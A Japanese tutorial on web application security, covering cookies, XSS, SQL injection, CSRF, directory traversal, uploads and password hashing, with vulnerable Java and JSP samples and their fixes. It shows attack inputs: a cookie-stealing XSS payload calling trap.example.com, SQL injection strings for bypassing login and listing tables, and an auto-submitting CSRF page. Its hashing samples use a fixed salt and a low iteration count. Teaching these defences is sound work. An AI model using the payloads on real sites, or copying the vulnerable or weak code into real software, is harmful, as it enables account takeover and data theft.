Web アプリケーションは HTML や JavaScript、ブラウザ、HTTP プロトコル、インターネットを介した通信など、脆弱性の入り込む余地が多いものです。脆弱性の多くは開発者の不注意によって作りこまれます。脆弱性とは、悪用できるバグです。

今回は Web アプリケーションにおける脆弱性を取り上げます。まず、Web アプリケーションの基本となり、かつ脆弱性に対する攻撃で盗む対象になりがちなクッキーとセッション管理について触れます。次に Web アプリケーションで代表的な脆弱性の紹介、攻撃例、対策について触れます。最後に、パスワードの保存方法、認証などのセキュリティを高めることに関するトピックに触れます。

なお、今回扱うのはあくまでもアプリケーションレベルの脆弱性になります。ミドルウェアレベルの脆弱性は対象としません。

クッキー、セッション管理

ステートレスなプロトコルである HTTP 上で、ステートフルなアプリケーションを構築するために必要となる機能です。

クッキーは HTTP プロコトル仕様に含まれる機能です。名前=値 の組を、ブラウザ上に保存します。保存したクッキーは、サーバーへのリクエストに付加して送られてきます。サーバーは Set-Cookie ヘッダを使うことで、ブラウザに値を覚えさせることができます。

セッション管理は HTTP プロトコル仕様に含まれるものではなく、「考え方」のようなものです。実装方法もいくつかバリエーションがあります。クッキーの保存場所がブラウザであると決まっている一方で、セッションはどこに保存してもよいものです。サーバー上に保存するのが一般的です。

セッション管理の事例としてよく挙げられるのは、EC サイトのカート情報です。購入するまでの「カートの中身」を、セッションとして保存しておきます。

クッキーは

  • ブラウザに保存される
  • 通信傍受による情報漏洩の可能性がある
  • サイズ制限がある

など、セッション情報を直接保存するには向きません。そこでクッキーにはセッションを特定するための情報 (セッション ID) だけを保持しておくようにするのが一般的です。しかしこのセッション ID というものは、サイトの作り方次第ではありますが、認証状態に直結することが多いため、外部に漏れるようなことは極力避けなければなりません。クッキーを盗聴され、セッション ID が盗まれると、なりすましの被害を受ける可能性があります。後述する XSS などは、攻撃者がスクリプトを仕込み、クッキーを盗みとろうとする典型です。後述する属性を適切に設定し、情報漏洩に備えるべきです。

クッキーの属性

クッキーでは 名前=値 の組ごとに、属性を付加することができます。脆弱性という文脈において重要な secure 属性を中心に、クッキーに設定できる属性について触れます。

secure 属性

secure 属性をつけたクッキーは、HTTPS のリクエストでのみ送信されます。まず、HTTPS でのみ運用するサイトであれば、セッション ID のクッキーに必ずつけるべきです。HTTP のみで運用するサイトではつけることができません。言うまでもありませんが、クッキーが一切送信されないためです。

HTTP/HTTPS が混在するサイトであれば、セッション ID (のクッキー) には secure 属性をつけず、secure 属性をつけるための専用のトークン (のクッキー) を用意します。HTTPS リクエストを受けたタイミングで、クッキー内のトークンが正規のものかどうかを確かめるようにします。secure 属性のついていないセッション ID が盗聴されて漏洩してしまっても、secure 属性のついたトークンは盗聴されていないので、HTTPS ページにアクセスしてきた時点で、なりすましかどうかを区別することができます。

// 秘密のトークンの生成
String token = generateSecretToken();
session.setAttribute("token", token);
Cookie c = new Cookie("token", token);
c.setSecure(true);
resp.addCookie(c);
// HTTPS ページにおけるトークンのチェック
Cookie[] cs = req.getCookies();
if (cs == null)
  return false;

String expected = (String) session.getAttribute("token");
return Arrays.stream(cs)
    .filter(c -> Objects.equals(c.getName(), "token"))
    .findFirst()
    .map(c -> Objects.equals(c.getValue(), expected))
    .orElse(false);

その他の属性

secure 以外の属性を一覧します。

属性名 意味
domain クッキーの送信先のドメインを指定する属性。生成元以外にクッキーを送信させたい場合に利用する。デフォルト (未指定 = 生成元のみ送信) にしておくのが無難。
path クッキーの送信先のパスを指定する属性。パスごとに異なるクッキーを送信させたい場合に利用する。デフォルトは path=/ なので、サイト上のどのパスに対しても同一のクッキーを送信させる。
expires, max-age クッキーの有効期限。デフォルトはブラウザを閉じるまで。ブラウザを閉じた後もログイン状態を保持したい場合などに利用。expires は満了日付を、max-age は有効期間 (秒数) を指定する。
httponly JavaScript からクッキーを参照できないようにする。Ajax リクエストには含まれる。XSS の保険的な対策になる。

脆弱性という文脈において気にするべきなのは、expires/max-age と httponly でしょうか。

代表的な脆弱性と、その対策

この章では Web アプリケーションの脆弱性の中でも、作り込みやすかったり、被害が大きくなりがちな脆弱性と、その対策の紹介します。

XSS (クロスサイトスクリプティング)

HTML の生成処理に不備がある場合に発生する脆弱性です。外部からの入力を HTML 出力に含める際に発生します。このような処理は Web アプリケーションでは頻出するもので、対策する箇所が広範囲に渡るため、対策が漏れがちです。そのわりに、脆弱性をつかれると被害が大きいという特徴があります。

以下のような被害が考えられます:

  • 利用者のブラウザ上で攻撃者が仕込んだスクリプトが動作する
    • クッキーの盗聴
    • サイト利用者の権限でアプリケーションを悪用
  • サイトの改ざんによるフィッシング

攻撃例

脆弱性を含む実装例と、これを悪用する攻撃例を考えてみます。

まずは攻撃対象となる脆弱性を含む Web アプリケーションコードです (JSP):

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>XSS</title>
    </head>
    <body>
        <% if (request.getAttribute("name") != null) { %>
        <h1>Hello <%= request.getAttribute("name") %>!</h1>
        <% } else { %>
        <h1>Hello World!</h1>
        Please append ?name=YOURNAME in url
        <% } %>
    </body>
</html>

この JSP に、次のクエリパラメータを指定してアクセスします:

?name=hoge<script>document.write("<img height=0 src='http://trap.example.com?cookie="%2Bdocument.cookie%2B"'>")</script>

この結果、画面には

Hello hoge!

と表示されます。特に問題なく動作しているように見えます。

実際には img タグによる HTTP リクエスト発行を利用し、罠サイトである trap.example.com に対してクッキーを送信しています。ただし img タグの高さは 0 としているので、画面には見えません。

上記のようなパラメータを含むリンクを罠サイトに貼っておけば、利用者のクッキーを収集することができます。

対策

  • Content-Type で文字コードを明示する
  • HTML 属性値を "" で囲う
  • HTML に埋め込む文字列をエスケープする

エスケープとは、一部のメタ文字を文字参照に置き換えることを指します。以下は最低限エスケープしなければならない文字の一覧です。HTML 文書のどこに埋め込むかによって、対象が変わります。

処理対象 エスケープ処理の内容
HTML 要素内 <, &
HTML 属性値 ", <, &

それぞれの文字の文字参照は次の通りです:

文字 エスケープ結果
< &lt;
& &amp;
" &quot;

HTML エスケープの実装としては、PHP の htmlspecialchars 関数が有名です。PHP のプログラムは往々にしてこの関数の呼び出しだらけになります。

Java EE の標準 API に含まれるものの中としては、JSTL (JSP Standard Tag Library) を利用すれば JSP で HTML エスケープしつつ出力することができます。例えば <c:out value="<b>hello</b>"> とすれば、画面には <b>hello</b> と表示されます。

※JSTL が Java EE に含まれているとは知りませんでした。。。

JSTL 1.2 is part of the Java EE 5 platform.

JSP を利用せず、テンプレートエンジンを利用する場合には、テンプレートエンジンが変数を展開するタイミングでエスケープしてくれることが大半です。逆にエスケープをかけたくない場合に、特別なことをしなければなりません。例えば Spring Boot のデフォルトのテンプレートエンジンである Thymeleaf なら、th:text で指定したテキストは自動的に HTML エスケープされます。

<span th:text="${name}">hogehoge</span>

上記を Thyemeleaf のテンプレートエンジンに処理させると、パラメータ name が HTML エスケープ処理された結果が <span> 要素の内容となります (hogehoge は消える)。

URL を持つ属性

hrefsrc のような URL を値にとる属性では、javascript:JavaScript式 で任意の JavaScript の式を評価することができます。ここに攻撃スクリプトを仕込まれることを考慮すると、他の属性と同じような対策では不十分です。URL の妥当性 (http:, https: で始まる、など) をチェックしたうえで、他の属性と同じ対策 ("" で囲ってエスケープ) を行えばよいです。

何を妥当な URL とするかはアプリケーションによって異なります。以下は単純な例として、http:, https:, / のいずれかで始まるものを妥当な URL であると判定するメソッドです:

boolean isValidUrl(String s) {
  return s.startsWith("http:") || s.startsWith("https:") || s.startsWith("/");
}

イベントハンドラ

ここでの「イベントハンドラ」とは、onload などのイベントハンドリング用の属性を指します。イベントハンドラから JavaScript で定義した関数呼び出しを行う際、そのパラメータをサーバーサイドで埋め込んでおく、という用途で使います。

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>XSS</title>
    </head>
    <body onload="foo('<%= request.getAttribute("name") %>')">
        <h1>Hello, World!</h1>
        <script>function foo(name) { alert(name); }</script>
    </body>
</html>

この JSP に、以下のクエリパラメータを渡してアクセスします:

?name=');alert(document.cookie);//

画面には空の alert が表示された後、クッキーの内容が表示されます。

イベントハンドラの XSS への対策としては、文字列を JavaScript としてエスケープしたうえで、HTML 属性と同じ対策 ("" で囲う、エスケープする) を行えばよいです。

以下は JavaScript エスケープで変換すべき文字と、そのエスケープ結果です:

文字 エスケープ結果
' \'
" \"
\ \\
改行 \n

例えば

<>'"\

という文字列が入力として与えられた場合を考えます。まず JS エスケープをかけます:

<>\'\"\\

この文字列に対して HTML エスケープをかけます:

&lt;>\'\"\\

このような文字列が得られました。この文字列をイベントハンドラの属性に埋め込めば、文字列が JavaScript や HTML として解釈されるようなことなく動作します。

script タグ内

script タグ内に入力値を埋め込む場合も、特別な対処が必要です。script タグ内では文字参照が解決されないので、HTML エスケープによる対策はできません。JavaScript エスケープ、</ が含まれないようにするという対策が必要です。後者は、script タグ内では </script> が文脈を加味せずに解釈されてしまうためです。

<script>alert('</script>');</script>

このコードには 2 つの </script> が出てきますが、閉じタグとして有効なのは 1 つめです。画面には '); と表示されます。JavaScript としては「閉じられていない文字列リテラルである」ものとして、エラー扱いになります。

そもそも script タグ内に入力値を埋め込むという実装を避けるべきです。外部の入力を JS への入力としたい場合には、より簡単かつ確実に対策ができる、他の手段を採るべきです。たとえば input/hidden を使うといった方法が考えられます。

DOM based XSS

XSS はサーバーサイドの不具合と考えられがちですが、クライアントサイドでも発生します。JavaScript で生成した HTML を表示する際に発生する XSS を、DOM based XSS と呼びます。サーバー側で生成された HTML には攻撃者のスクリプトが含まれないので、こういう呼び方になっています。最近は JavaScript を使ったアプリケーションが広く利用されており、DOM based XSS も身近な存在になっています。

DOM based XSS が入り込むのは、JavaScript で HTML 文字列を食わせて画面を表示する処理です。例えば document.innerHTML への代入や、document.write を使っている部分です。また、window.location への代入も、javascript:JavaScript式 を使った攻撃が可能です。

以下は脆弱性を持つ実装例です:

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>JSP Page</title>
    </head>
    <body>
        <p>ダウンロードまで: <span id="time">3</span></p>
        <script>
            var time = document.getElementById("time");
            var remaining = 3;
            function next() {
                setTimeout(function() {
                    time.innerHTML = --remaining;
                    if (remaining > 0) {
                        next();
                    }
                    else {
                        var path = decodeURIComponent(
                                location.hash.slice(location.hash.indexOf("?path=") + 6));
                        if (path)
                            window.location = path;
                    }
                }, 1000);
            }

            next();
        </script>
    </body>
</html>

この JSP に

#attack?path=javascript:alert(document.cookie);

こんなハッシュつけてアクセスすると、クッキーを表示するアラートが開きます。

対策としては:

  • 文字列による HTML 構築ではなく DOM 操作用の API を使う (document.createElement など)
  • エスケープする。メタ文字を文字参照に置き換える他にも、encodeURIComponent なども適切に利用する
  • 不適切な文字列が含まれないかチェックする

といったところがあります。思わぬところがユーザーの入力になるので、つい対策が見逃しがちになります。例えば location.href なども入力になります。クエリパラメータやハッシュには任意の値を設定することができるので、注意が必要です。

SQL インジェクション

SQL 発行の実装に問題がある場合に発生する脆弱性です。XSS とならんで Web アプリケーションとしてはポピュラーな(?)脆弱性です。

以下のような被害が考えられます:

  • データベース内に保存されるすべての情報が漏洩する
  • データベース内の情報が不正に書き換えられる
  • 認証を回避される
  • サーバー上のファイルが不正に読み書きされる

SQL インジェクションが原因となってクレジットカード情報が流出し、サイトの運営者と開発者との間で訴訟が発生した結果、運営者側が勝訴したという事例もあります。

情報流出に係るシステム損害賠償請求事件(東京地裁 平成26.1.23)

攻撃例

まずは脆弱性を含む実装です。サーブレットで SQL を発行します:

String account = request.getParameter("account");
String password = request.getParameter("password");
String sql = "SELECT 1 FROM users WHERE account = '" + account + "' AND password = '" + password + "'";

boolean ok;
try {
    InitialContext ctx = new InitialContext();
    DataSource ds = (DataSource) ctx.lookup("jdbc/webappsec");
    try (Connection conn = ds.getConnection(DB_USER, DB_PASS);
        PreparedStatement stmt = conn.prepareStatement(sql);
        ResultSet rs = stmt.executeQuery()) {
        ok = rs.next();
    }
    catch (SQLException e) {
        throw new Error(e);
    }
}
catch (NamingException e) {
    throw new Error(e);
}

request.setAttribute("ok", ok);
request.setAttribute("account", account);
Servlets.dispatch(request, response, "/sqlinj.jsp"); 

以下は emps を一覧表示する JSP です:

<%@taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>JSP Page</title>
    </head>
    <body>
        <c:if test="${ok}">
            Hello, <c:out value="${account}"/>!
        </c:if>
        <c:if test="${!ok}">
            unauthorized
        </c:if>
    </body>
</html>

このサーブレットへ

?account=alice&password=ALICE

のようなクエリパラメータをつけてアクセスすれば、users テーブルから account = 'alice' AND password = 'ALICE' を満たす条件を探してきます。

ここで

?account=alice' or 1=1 --

のようなパラメータにすると、パスワードなしに認証を通すことができます。これが SQL インジェクションを悪用した認証回避です。

他にも、パラメータに

UNION SELECT * FROM information_schema.columns

のようなものをくっつけることで、テーブル構成を引っ張ってくる SQL を仕込んだりする攻撃もあります。テーブル構成を引っ張ってくれば、あとは自由に SQL を書くことができるので、データベース内に保存されるすべての情報にアクセスできるということになります。

対策

SQL インジェクションの対策は:

  • プレースホルダによって SQL を組み立てる。外部入力をそのまま SQL に組み込むことを避ける
  • 入力値検証

基本的にはプレースホルダによる対策を講じるべきです。これが使えない場合、例えばソートの項目 (ORDER BY に指定する列名) を外部から指定する場合などにおいては、入力値検証による対策を講じます。

先程の例を、プレースホルダを使った実装に変更します:

String sql = "SELECT 1 FROM users WHERE account = ? AND password = ?";
String account = request.getParameter("account");
String password = request.getParameter("password");

boolean ok;
try {
    InitialContext ctx = new InitialContext();
    DataSource ds = (DataSource) ctx.lookup("jdbc/webappsec");
    try (Connection conn = ds.getConnection(DB_USER, DB_PASS);
        PreparedStatement stmt = conn.prepareStatement(sql)) {
        stmt.setString(1, account);
        stmt.setString(2, password);
        try (ResultSet rs = stmt.executeQuery()) {
            ok = rs.next();
        }
    }
// 以下略

もともと文字列連結で指定していた accountpassword の検索値は、? で置き換えられました。以後、SQL 文そのものを編集することはありません。accountpasswordstmt.setString(int, String) を使ってパラメータに指定しています。SQL 文のはじめの ?account が、?password がバインドされるよう動作します。

以下は入力値検証による対策の例です。ORDER BY 句に連結するための入力値に対し、列名として有効な文字列だけを認めるよう動作します。

String col = ...;
List<String> validCols = Arrays.asList("id", "name", "age", "salary");
if (!validCols.contains(col))
  reject();

PreparedStatement stmt = conn.preparedStatement(
    "SELECT * FROM employees WHERE salary > 10000 ORDER BY " + col);

静的プレースホルダ、動的プレースホルダ

プレースホルダによる SQL の組み立てにおいて、パラメータのバインドをいつ (誰が) 行うかにより、種類が分かれます:

  • 静的プレースホルダ
  • 動的プレースホルダ

静的プレースホルダは、DB 上でパラメータのバインドを行う方式です。まず、プレースホルダで組み立てた SQL を DB に送信し、DB エンジンにコンパイルさせます。そこへさらにパラメータを送信し、DB エンジン上でバインドさせたうえで、SQL 文を実際に実行します。

静的プレースホルダはプレースホルダの段階で SQL 文が確定し、その後に SQL 構文が変化することがないため、安全であると言えます。

動的プレースホルダは、クライアントサイドでパラメータのバインドを行う方式です。プレースホルダで組み立てた SQL に、クライアント側でパラメータをバインドした上で DB に送信します。

この方式ではプレースホルダの段階で SQL 文が確定しないため、ライブラリにバグがある場合、SQL 構文が変化してしまう可能性があります。安全性の観点から言えば、静的プレースホルダよりも劣ります。

JDBC ドライバの実装状況についてざっと調べたところ、Oracle, PostgreSQL, SQLServer のドライバでは静的プレースホルダのみサポートしています。MySQL のドライバではデフォルトで動的プレースホルダです。設定変更で静的プレースホルダを利用できるようです。

CSRF (クロスサイトリクエストフォージェリ)

重要な処理において、それが正規のリクエストかどうかを区別する処理に不備がある場合に発生する脆弱性です。2005 年に発生した「ぼくはまちちゃん騒動」が有名です。

ぼくはまちちゃん騒動は、mixi への日記投稿を行う仕掛けを含む罠サイトへ誘導し、そのページを開いた時点で罠が発動するというシロモノでした。当時の mixi がとった対策も根本的なものでなく、しばらくの間はいたちごっこ状態だったようです。

攻撃例

かんたんな掲示板アプリケーションを考えてみます。まず、掲示板へ書き込むサーブレットを用意します。この実装には CSRF の脆弱性を含みます。

protected void doPost(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
    String poster = request.getParameter("poster");
    String message = request.getParameter("message");
    if (poster == null || message == null) {
        response.sendError(HttpServletResponse.SC_BAD_REQUEST);
        return;
    }

    Post p = new Post();
    p.poster = poster;
    p.message = message;
    p.postedAt = new Date();
    posts.add(0, p);

    response.sendRedirect("/webapp-security/csrf");
}

投稿者と投稿内容をパラメータとして受けつけ、投稿内容をサーバー上に保存します (本来なら DB などに永続化すべきですが、ここでは簡略化のためメモリに持っています)。保存後は投稿後の内容を表示するため、表示ページへリダイレクトします。

この掲示板には誰でも投稿できるということで、認証状態などのチェックは一切行っていません。受けつけたリクエストは、すべて正規のリクエストとみなしています。

次に、攻撃者が用意するページです。

<html>
    <head>
        <title>attack</title>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
    </head>
    <body>
        <form action="/webapp-security/csrf" method="post" id="form">
            <input type="hidden" name="poster" value="ATTACKER" />
            <input type="hidden" name="message" value="hehehe...." />
        </form>
        <script>
            document.getElementById("form").submit();
        </script>
    </body>
</html>

このページを開くと、自動的に /webapp-security/csrf という URL へ POST リクエストが発行されます。この URL は先ほどコードを載せた、掲示板投稿のための URL です。つまり、攻撃者が用意したこのページを踏むと、攻撃者が用意したパラメータ (poster=ATTACKER, message=hehehe...) で掲示板に投稿されてしまいます。

攻撃者はどうにかしてこのページへ利用者を誘導し、掲示板への攻撃を行うという寸法です。実際、この手法を用いて殺害予告をまったく関係のない人間(罠にかかった人)にやらせ、誤認逮捕に至ったというケースもあるようです。

パソコン遠隔操作事件

対策

正規のリクエストかどうかのチェックを行わなかったり、クッキー (セッションID) や HTTP 認証 だけ をもって正規のリクエストであると判定している場合、CSRF が可能です。これらの項目は (ブラウザにより) サーバーへのリクエストに必ず含められます。攻撃者による偽造リクエストにも含まれるので、これらだけで正規のリクエストであると判定している場合には、偽造を見抜くことができません。

重要な処理においては「外部から予測できないパラメータを含んでいること」を正規のリクエストかどうかの判断基準とするべきです。これにより、CSRF によるリクエストの偽造を見抜くことができます。

実装としては、

  1. 秘密のトークンをセッションに保存した上で、次のリクエストに含まれるよう仕込んでおき
  2. 送られてきたリクエストに含まれるトークンが、セッションのそれと一致するかどうか確認する

とすればよいです。

このとき利用するトークンはワンタイムである必要は必ずしもありません。ワンタイムトークンを採用する場合、例えば複数タブを開いた場合など、使い勝手に影響する可能性があります。必要によって使い分けたり、使い勝手に悪影響を及ぼさないようにするべきです。

セッション ID を秘密のトークンとして利用することも (セッション ID が予測可能な値ではないという点では) 可能ですが、不慮の事故によってセッション ID が漏洩してしまったときに備えて、避けるべきです。

以下は Java による簡単な実装例です:

String token = generateCsrfToken();
session.setAttribute("_csrf_token", token);

out.write("<input type='hidden' name='_csrf_token' value='" + token + "'>");

生成したトークンをセッションに保存した上で、応答の <input> に含めるようにしています。これで次のリクエストでは _csrf_token という名前のパラメータで、秘密のトークンが送られてくるはずです。送られてこない、異なる値が送られてきた場合には、偽造リクエストであるということです。

String token = req.getParameter("_csrf_token");
String expected = (String) session.getAttribute("_csrf_token");
if (!Objects.equals(token, expected))
  reject();

送られてくるトークンをチェックします。セッションに保持するトークンと一致するかどうかを確認します。

ディレクトリトラバーサル

外部入力によるファイルアクセスを行う機能において、入力値検証に不備がある場合に発生する脆弱性です。/etc/passwd の内容が参照されてしまったり、ファイルを不正に書き換えられてしまったりします。

対策

ディレクトリトラバーサルへの対策としては

  • ファイル名を外部から直接指定する設計を避ける
  • ディレクトリ名を含めないようにする

などがあげられます。外部からディレクトリパスを指定させないことが基本です。どうしてもそれが避けられない場合には、入力値検証により、予期しないパスへのアクセスを回避するべきです。

以下はファイル ID を用いた対策の簡単な実装例です。ファイル ID をキーとして DB を検索して得たファイルパスを利用してファイルにアクセスしています。

String fileId = ...;
String path = sql("SELECT path FROM files WHERE id = ?", fileId);
read(path);

ファイルアップロード、ダウンロード

ファイルを入出力の直接の対象とするファイルアップロード、ダウンロードの機能は、攻撃の的となりやすい機能のひとつです。

ファイルアップロード機能に対する DoS 攻撃、攻撃の仕掛けのあるファイルを利用者にダウンロードさせる、権限を超えたダウンロードといった攻撃が考えられます。

対策 (DoS 攻撃)

DoS 攻撃は、

  • そもそもファイルアップロード機能を無効化する
  • リクエストのサイズ上限などを制限する

などの対策が必要です。これらの設定項目はだいたいミドルウェアや API に用意されています。

また、画像の伸縮が発生するような処理では、CPU 利用率やメモリ使用量を加味し、アップロード可能な画像サイズの上限を決めるといった対策も有効です。

Servlet API も 3.0 (Java EE 6) になってファイルアップロード対応しました (それまではサードパーティ製のライブラリが必要だった)。Servlet API においても上記のような設定が可能となっています。

対策 (仕掛けのあるファイルのアップロード)

仕掛けのあるファイルをアップロードさせないためには、そもそもアップロード可能なファイルの種類を縛ってしまうのが有効です。画像のアップロードを期待するところで、画像以外のファイル、たとえば PDF をアップロードを拒否するといった具合です。

この対策が取れない場合は、根本的な対策は難しいかもしれません。たとえば悪意のある JavaScript を含む PDF を検出するのは、ふつうの文字列チェックなどに比べれば格段に難しいでしょう。こうした場合は、基本的にはアップロードした側に責任の責任が問われます。が、運営側の責任を問われる場合もあるので、検討段階で加味しておくべき課題です。

対策 (権限を超えたダウンロード)

権限を超えたダウンロードとは、秘密の領域にアップロードしたファイルを、本来秘密の領域にアクセスできないはずの第三者が閲覧できる状態になっていることを指します。ファイルへのリンクは画面に出ないようになっているものの、URL さえ知っていればアクセスできる、という具合です。

このようなファイルアクセスにおいても、「リンクがないからアクセスできないはず」というような前提を作らず、認可の実装が必要です。

認可で DB との連携が必要な場合、アプリケーションサーバーで実装します。認可後のファイルの配信は HTTP サーバーに任せてしまうのが効率的です。一般的には、アプリケーションサーバーよりも HTTP サーバーの方がデータの転送に長けています。実現するには X-Sendfile などを利用するとよいです。

安全な Web アプリケーションのための設計と実装

脆弱性への対応だけでなく、Web アプリケーションをより安全にするための仕組みについて考えていきます。

パスワードの保存方法

認証が必要なアプリケーションで、認証情報を自前で管理する場合、何かしらの方法で秘密の情報を保存しておく必要があります。秘密の情報でもっとも一般的なのは、パスワードでしょう。利用者のパスワードをそのまま保存している場合、たとえば SQL インジェクションによる情報漏洩が起こってしまうと、パスワードも漏れてしまいます。パスワードのような秘密の情報が漏れることは、なりすましなどを誘発し、被害が大きくなる可能性につながります。パスワードの保存方法を工夫することで、この「もしもの事態」に対応します。

対策

生パスワードは保持しない というのが鉄則です。では、どのような形式でパスワードを保持するか。

  • 暗号化する

AES のような共通鍵暗号方式で暗号化したパスワードを保持する実装方式です。共通鍵暗号方式なので、暗号化するための鍵の生成、管理、暗号化アルゴリズムが信用できなくなった場合の再暗号化といった課題への対処も必要です。そのため、あまり採用されることはありません。

  • ハッシュ化する

MD5, SHA-1 などに代表される暗号学的ハッシュ関数を利用する実装方式です。暗号学的ハッシュ関数の特徴として、ハッシュの生成方法を変えない限り、同じ入力からは何度でも同じハッシュ値を得ることができます。認証機能を実装するには、DB に保存している (生パスワードから生成した) ハッシュ値と、入力されたパスワードから生成したハッシュ値を照合すればよいということになります。

ハッシュ関数にかけるだけでは、ブルートフォース攻撃やレインボーテーブル攻撃に対応できません。例えば生パスワードを SHA-1 に 1 回かけたものを保存する、というような実装になっている場合を考えます。ブルートフォースでは、攻撃者が列挙したパスワードを 1 回だけ SHA-1 にかけた結果と、DB の内容を比較すれば、パスワードを特定できすることができます。レインボーテーブルの場合、ソース (生パスワード) とハッシュ値を対応表として持っているので、DB に保持されるハッシュ化されたパスワードをキーにテーブルを検索すれば、パスワードを特定できます。

これらの攻撃への対策として、ソルトストレッチング があります。

パスワードになんらかの文字列を付加したうえでハッシュ化するという実装方法をソルトと呼びます。ソルトはユーザーごとに異なる値にしておくのがよいでしょう。

FIXED_SALT = 'jlkFEudaoinavidj!Jiyu84?__;@'

salt = FIXED_SALT + userid
h = hashfn(salt + password)

乱数からソルトを決定する方法も考えられます。この場合、再計算によってソルトを求めることができないので、パスワードとあわせてソルトを何かしらの方法で保存しておく必要があります。たとえば bcrypt では、ハッシュ化したパスワードに連結する形でソルトを保存します。

ハッシュ関数を 1 回だけでなく複数回かけて最終的なハッシュ値を得るという実装方法を、ストレッチングと呼びます。攻撃者はアプリケーションが何回ハッシュ化関数をかけているかを知らない限り、パスワードを特定することができません。

h = ''
repeat 10000
  h = hashfn(salt + password + h)

この繰り返し回数を可変とする場合も、乱数ベースのソルトと同様、パスワードとあわせて保存しておく必要があります。

アルゴリズムの選定

MD5, SHA-1 などはいわゆるメッセージダイジェストと呼ばれる類のデータ (ハッシュ値) を生成する目的で作られたアルゴリズムです。メッセージ全体を比較することなく、メッセージの内容が同一であるかを手早くチェックするという目的のために利用されます。このため比較的高速に計算できるようになっています。これは攻撃者にとって有利な条件となってしまいます。可能ならば、パスワードの保存向けに設計されたアルゴリズムを使うのが望ましいです。

パスワードの保存向けに設計されたアルゴリズムは、あえて計算負荷が高くなるように設計されています。これはハッシュ関数を大量に呼びださなければならない攻撃者にとって都合が悪い状況を作るためです。ログイン処理に時間がかかるようになってしまいますが、多くの場合は、一度のログイン処理で多少の時間がかかるようになったところで、使い勝手に与える影響は小さいと考えられるでしょう。

パスワードの保存向けに設計されたアルゴリズムとしては、

  • bcrypt
  • scrypt
  • PBKDF2
  • Argon2

などがあります。これらのアルゴリズムでは、上述したソルトやストレッチングといった要素が盛り込まれているので、自前で実装する必要がありません。Java 8 以上であれば JCA (Java Cryptography Architecture) に PBKDF2 が含まれる ので、サードパーティ製のライブラリを必要としません。bcrypt, scrypt, Argon2 については、Java の標準 API には用意されていないので、サードパーティ製の実装を用意する必要があります。

以下は SHA-256 と PBKDF2 でパスワードをハッシュ化する実装例です。SHA-256 のほうでは、自前でソルトとストレッチングを行っています。

private static byte[] salt(String uid) {
    return (uid + "FIXEDSALT").getBytes();
}

public static byte[] sha256(String uid, String pw) throws NoSuchAlgorithmException {
    byte[] salt = salt(uid);
    byte[] bytes = pw.getBytes();
    MessageDigest md = MessageDigest.getInstance("SHA-256");
    for (int i = 0; i < 1024; ++i) {
        md.update(salt);
        md.update(bytes);
    }
    return md.digest();
}

public static byte[] pbkdf2(String uid, String pw)
        throws NoSuchAlgorithmException, InvalidKeySpecException {
    byte[] salt = salt(uid);
    SecretKeyFactory skf = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
    SecretKey sk = skf.generateSecret(new PBEKeySpec(pw.toCharArray(), salt, 1024, 256));
    return sk.getEncoded();
}

OAuth 2.0, OpenID Connect

OAuth とは、ユーザーが外部サービス上に保持している情報に対するアクセスの許可を得る (= 認可) ためのプロトコルです。RFC 6749 で仕様が定義されています。

例えば、アプリケーションから、ユーザーの Facebook アカウント上の情報にアクセスしたい場合を考えます。アプリケーションがユーザーの Facebook 情報にアクセスするには、何かしらの認証情報が必要です。ここでユーザーが Facebook アカウントの認証情報をアプリケーションに渡してしまうと、アプリケーションはユーザーの Facebook アカウントを乗っ取ることができるようになってしまいます。OAuth ではこれを避けるため、アプリケーションがユーザーの情報にアクセスするための認可を Facebook の管理下で行い、その際に「認可済みのトークン」を発行します。アプリケーションはそのトークンとともに Facebook にアクセスすることで、認証情報を直接利用することなく Facebook 上の情報にアクセスできるようになります。

認可を行う際には、大半の場合は認証を伴います。そのため、OAuth を認証のために利用するケースもあるようです。しかし OAuth はあくまでも認可のためのプロトコルであり、認証のために利用することは安全でないという意見も多い。

OpenID Connect は OAuth 2.0 上に構築した認証プロトコルです。OpenID Foundation が管理しています。認証は OpenID Connect で、以後の認可は OAuth 2.0 で、という住み分けのようです。

参考